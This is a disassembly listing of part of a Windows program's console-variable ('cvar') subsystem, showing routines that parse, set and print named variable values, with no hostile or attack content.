loc_40B09E:				; DATA XREF: sub_40B0B1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B09E
		retn
sub_40B0B1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0E0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B122
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B122:				; CODE XREF: sub_40B0E0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B172
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B172:				; CODE XREF: sub_40B150+6j
		pop	ecx
		retn
sub_40B150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B190	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B190	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B250	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B250	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2F0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40B2F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B470	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B470	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B510	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B510	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B600	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B681
		mov	edi, [esp+10h+arg_0]


loc_40B646:				; CODE XREF: sub_40B600+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B68B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B646


loc_40B681:				; CODE XREF: sub_40B600+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B600+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6D0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B760	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7B1
		mov	byte ptr [esi+19h], 1


loc_40B7B1:				; CODE XREF: sub_40B760+4Bj
		pop	esi
		retn	8
sub_40B760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7E0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B835
		mov	byte ptr [esi+19h], 1


loc_40B835:				; CODE XREF: sub_40B7E0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8C1
		mov	byte ptr [esi+19h], 1


loc_40B8C1:				; CODE XREF: ___:0040B8BBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8F0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B920
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: ___:0040B8F8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B990
		mov	byte ptr [esi+19h], 1


loc_40B990:				; CODE XREF: ___:0040B98Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9B0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAF2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BAEB


loc_40BA56:				; CODE XREF: ___:0040BAE5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2850369h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA56


loc_40BAEB:				; CODE XREF: ___:0040BA50j
		mov	al, 1
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BAF2:				; CODE XREF: ___:0040B9E7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB85
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: ___:0040BB04j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC78
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: ___:0040BB40j
					; ___:0040BB97j ...
		xor	al, al


loc_40BC7A:				; CODE XREF: ___:0040BAEDj
					; ___:0040BB80j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD50	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE70	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF00	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BF00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF70	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFA0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
